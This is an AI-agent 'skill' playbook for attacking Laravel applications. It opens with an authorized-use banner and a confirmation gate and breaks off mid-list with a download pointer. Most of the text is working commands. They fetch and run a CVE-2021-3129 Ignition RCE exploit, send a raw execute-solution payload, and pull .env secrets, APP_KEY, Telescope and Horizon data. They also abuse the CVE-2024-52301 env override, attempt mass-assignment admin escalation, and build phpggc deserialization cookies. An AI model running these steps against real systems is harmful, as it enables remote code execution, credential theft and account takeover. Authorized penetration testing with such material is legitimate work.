hunt-laravel – Security skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-LARAVEL — Laravel Specific Vulnerabilities

Crown Jewel Targets

Debug mode can expose sensitive internals. CVE-2021-3129 exploitation additionally depends on the affected Ignition package version, reachable endpoint and required filesystem conditions; debug mode or a Laravel version alone does not establish RCE.

Highest-value findings:

• Ignition RCE (CVE-2021-3129) — APP_DEBUG=true + Laravel < 8.4.2 → /_ignition/execute-solution RCE without auth
• Telescope dashboard — /telescope exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
• Horizon dashboard — /horizon exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
• Signed URL manipulation — if URL::signedRoute validates wrong params → bypass signed URL → unauthorized actions
• .env exposure — APP_KEY leaked → decrypt all encrypted cookies → forge session → ATO

---

Evidence and tool boundaries

Treat the CVE/version and endpoint examples as historical hypotheses; verify the installed vulnerable package and official advisory before testing. Review/pin any external exploit tree in an isolated directory before execution; the clone command below is not approval to run a moving script or proof its named entrypoint exists. A disclosed APP_KEY does not automatically imply arbitrary-user session forgery: cookie/session format, serialization, middleware and key rotation matter. Never print keys or collect real-user sessions; demonstrate only with controlled test accounts and redact minimal evidence. Environment switching/log manipulation can mutate server behavior and needs specific scope plus cleanup.

Phase 1 — Fingerprint Laravel

# Laravel-specific indicators
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"

# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
done

# Check error page (trigger 404)
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"

---

Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)

# Step 1: Check if debug mode is enabled (Whoops error page)
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"

# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

# Step 2: Check Ignition endpoint
curl -s "https://$TARGET/_ignition/health-check" | head -5

# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"

# Manual test — send solution request
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
      "variableName": "x",
      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    }
  }'

---

Phase 3 — Laravel Telescope & Horizon

# Telescope — request/response logs, DB queries, jobs, cache, events
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50

# Horizon — queue worker dashboard
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens

# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done

---

Phase 4 — .env File & APP_KEY Exposure

# Direct .env access
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"

# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user

# Also check
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"

---

Phase 4b — Environment override via query args (CVE-2024-52301)

When register_argc_argv=On (php.ini), Laravel parses the query-string as CLI args, so ?--env= overrides APP_ENV over HTTP -> flip the app into local/testing config (debug on, seeded creds, weaker guards).

curl -s "https://$TARGET/?--env=local"          # force debug/local config
curl -s "https://$TARGET/login?--env=testing"    # swap to testing DB/config
# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.

Phase 5 — Signed URL Manipulation

# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="

# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&[email protected]&signature=VALID_SIG"

# Modify user ID → should fail if properly signed
curl -s "${SIGNED_URL/user=123/user=999}"

# Test signature bypass: remove signature entirely
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"

# Test: does the app validate ALL parameters or just some?
curl -s "${SIGNED_URL}&extra=malicious"

---

Phase 6 — Mass Assignment via Eloquent

# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests

# Profile update
curl -s -X POST "https://$TARGET/api/profile" \
  -H "Cookie: laravel_session=SESSION" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "[email protected]", "is_admin": true, "role": "admin"}'

# Registration
curl -s -X POST "https://$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "[email protected]", "password": "test123", "verified": true, "admin": 1}'

---

Phase 7 — Laravel Cookie Deserialization

# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains

# Get the app key
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)

# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64

# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"

---

Chain Table

| Laravel finding | Chain to | Impact |

|----------------|----------|--------|

| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |

| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |

| Horizon accessible | Read failed job payloads | High - PII/token exfil |

| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |

| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |

| Mass assignment | Set is_admin=true → privilege escalation | Critical |

---

Validation

✅ Ignition RCE: id command output returned in response

✅ Telescope: API responses contain DB queries with credentials or user tokens

✅ APP_KEY: Forged session cookie acce

… (full content is in the download package)